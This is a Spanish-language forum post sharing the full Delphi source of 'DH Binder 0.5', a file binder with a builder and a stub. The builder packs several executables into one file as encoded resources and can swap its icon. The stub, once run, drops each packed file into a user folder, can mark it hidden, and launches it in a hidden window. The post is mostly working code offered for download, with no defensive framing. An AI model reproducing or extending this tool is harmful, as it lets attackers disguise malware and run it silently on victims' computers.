[Delphi] DH Binder 0.5

Iniciado por BigBear, Mayo 21, 2014, 06:15:21 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 21, 2014, 06:15:21 PM Ultima modificación: Mayo 21, 2014, 06:33:29 PM por Doddy
Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Los codigos :

El generador.

Código: delphi

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    GroupBox1: TGroupBox;
    Button1: TButton;
    GroupBox2: TGroupBox;
    ListView1: TListView;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox5: TGroupBox;
    CheckBox1: TCheckBox;
    GroupBox6: TGroupBox;
    GroupBox7: TGroupBox;
    Image2: TImage;
    GroupBox8: TGroupBox;
    Button2: TButton;
    GroupBox9: TGroupBox;
    Image3: TImage;
    Memo1: TMemo;
    PopupMenu1: TPopupMenu;
    AddFile1: TMenuItem;
    CleanList1: TMenuItem;
    OpenDialog1: TOpenDialog;
    OpenDialog2: TOpenDialog;
    Edit1: TEdit;
    procedure CleanList1Click(Sender: TObject);
    procedure AddFile1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.AddFile1Click(Sender: TObject);
var
  op: String;
begin

  if OpenDialog1.Execute then
  begin

    op := InputBox('Add File', 'Execute Hide ?', 'Yes');

    with ListView1.Items.Add do
    begin
      Caption := ExtractFileName(OpenDialog1.FileName);
      if (op = 'Yes') then
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Hide');
      end
      else
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Normal');
      end;
    end;

  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
  nombre: string;
  ruta: string;
  tipo: string;
  savein: string;
  opcionocultar: string;
  lineafinal: string;
  uno: DWORD;
  tam: DWORD;
  dos: DWORD;
  tres: DWORD;
  todo: Pointer;
  change: DWORD;
  valor: string;
  stubgenerado: string;

begin

  if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
  begin
    ShowMessage('You have to choose two or more files');
  end
  else
  begin
    stubgenerado := 'done.exe';

    if (CheckBox1.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;

    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := ComboBox1.Items[ComboBox1.ItemIndex];
    end;

    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
      stubgenerado), True);

    uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
      + stubgenerado), True);

    for i := 0 to ListView1.Items.Count - 1 do
    begin

      nombre := ListView1.Items[i].Caption;
      ruta := ListView1.Items[i].SubItems[0];
      tipo := ListView1.Items[i].SubItems[1];

      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
        '[63686175]';

      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      tam := GetFileSize(dos, nil);
      GetMem(todo, tam);
      ReadFile(dos, todo^, tam, tres, nil);
      CloseHandle(dos);
      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

    end;

    EndUpdateResource(uno, False);

    if not(Edit1.Text = '') then
    begin
      try
        begin
          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
            stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(Edit1.Text)));
          EndUpdateResourceW(change, False);
          StatusBar1.Panels[0].Text := '[+] Done ';
          Form1.StatusBar1.Update;
        end;
      except
        begin
          StatusBar1.Panels[0].Text := '[-] Error';
          Form1.StatusBar1.Update;
        end;
      end;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[+] Done ';
      Form1.StatusBar1.Update;
    end;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    Edit1.Text := OpenDialog2.FileName;
  end;
end;

procedure TForm1.CleanList1Click(Sender: TObject);
begin
  ListView1.Items.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';
end;

end.

// The End ?


El stub.

Código: delphi

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
  Windows,
  SysUtils,
  ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
  data: DWORD;
  uno: DWORD;
  dos: DWORD;
  cinco2: string;
  nombre: string;
  tipodecarga: string;
  ruta: string;
  ocultar: string;

begin

  Result := True;

  cinco2 := cinco;
  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  cinco2 := dhencode(cinco2, 'decode');
  cinco2 := LowerCase(cinco2);

  nombre := regex(cinco2, '[nombre]', '[nombre]');
  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  ocultar := regex(cinco2, '[hide]', '[hide]');

  data := FindResource(0, cinco, cuatro);

  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil);

  CloseHandle(uno);

  if (ocultar = '1') then
  begin
    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  end;

  if (tipodecarga = 'normal') then
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  end
  else
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  end;

end;

begin

  EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.